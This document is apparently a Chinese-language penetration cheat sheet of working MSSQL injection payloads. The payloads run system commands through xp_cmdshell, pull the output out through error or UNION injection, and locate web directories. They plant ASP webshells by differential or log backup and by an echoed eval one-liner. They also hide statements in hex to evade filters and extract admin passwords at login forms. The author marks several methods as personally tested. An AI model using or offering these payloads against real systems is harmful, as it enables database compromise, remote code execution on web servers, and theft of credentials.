一、SA权限执行命令,如何更快捷的获取结果?
有显示位
显示位
其实这里的关键并不是有无显示位。exec master..xp_cmdshell ‘systeminfo‘生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。
方法①
03 |
IF EXISTS( select table_name from information_schema.tables where table_name= ‘test_1‘ ) drop table test_1; |
04 |
IF EXISTS( select table_name from information_schema.tables where table_name= ‘test_2‘ ) drop table test_2; |
05 |
create TABLE test_1([ output ][ varchar ](1000)); |
06 |
insert test_1 exec master.dbo.xp_cmdshell ‘ipconfig /all‘ ; |
07 |
DECLARE @result varchar (8000) |
09 |
SELECT @result=@result+ ‘ ‘ + output from test_1 where output > ‘ ‘ |
10 |
SELECT @result AS result INTO test_2; |
11 |
SELECT convert ( int ,( select result from test_2)); |
解析:
这里6-9句的意思是申明一个@result的临时变量;
设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
然后将@result设置一个别名,然后插入test_2中。
最后报错回显
PS:
mssql英文字母比较大小不区分大小写
mssql字符串比较大小和C语言中的str_cmp()一样的道理
方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)
1 |
报错: AND ( SELECT * FROM test_1 FOR XML PATH( ‘‘ ))=1 |
2 |
显示: UNION SELECT 1,( SELECT * FROM test_1 FOR XML PATH( ‘‘ )) |
二、如何快速寻找网站目录(SA用户)
SA用户被降权
SA用户未被降权
这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。
方法①(被降权:–亲测成功):
1 |
CREATE TABLE test_1([ output ][ varchar ](1000)); |
2 |
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘dir /s d:\web.config ‘ ; |
3 |
AND ( SELECT * FROM test_1 FOR XML PATH( ‘‘ ))=1; |
方法②(未被降权–system–亲测成功):
1 |
CREATE TABLE test_1([ output ][ varchar ](1000)); |
2 |
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ‘ ; |
3 |
AND ( SELECT * FROM test_1 FOR XML PATH( ‘‘ ))=1; |
方法③(sa+system权限+IIS7.0+IIS7.5):
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径
PS: %systemroot%代表c:\windows\
三、如何利用注入点getshell
方法①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
1 |
IF EXISTS( select table_name from information_schema.tables where table_name= ‘test_tmp‘ ) drop table test_tmp; |
2 |
backup database XFData to disk = ‘D:\WebRoot\asp.bak‘ ; |
3 |
create table [dbo].[test_tmp] ([cmd] [image]); |
4 |
insert into test_tmp(cmd) values (0x3C25657865637574652872657175657374282261222929253E); |
5 |
backup database XFData to disk= ‘D:\WebRoot\asp.asp‘ WITH DIFFERENTIAL,FORMAT; |
方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
1 |
IF EXISTS( select table_name from information_schema.tables where table_name= ‘test_tmp‘ ) drop table test_tmp; |
2 |
alter database XFData set RECOVERY FULL ; |
3 |
create table test_tmp (a image); |
4 |
backup log XFData to disk = ‘D:\WebRoot\asp.bak‘ with init; |
5 |
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA); |
6 |
backup log XFData to disk = ‘D:\webroot\123.asp‘ |
PS:
如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。
方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
1 |
echo ^<%eval request( "pass" )%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\ update .asp |
PS:这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。
四、如何避免使用select之类的关键字
方法①:十六进制混淆
1 |
; DECLARE @S VARCHAR (4000) SET @S= CAST (0x44524f50205441424c4520544d505f44423b AS VARCHAR (4000)); EXEC (@S); |
五、登录点的注入如何最快获取后台密码
03 |
1‘ GROUP BY username HAVING 1=1 |
09 |
1 ‘;select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))-- |
10 |
1‘ ; select convert ( int ,( select top 1 PWD from User_Mess where Account= ‘admin‘ )) |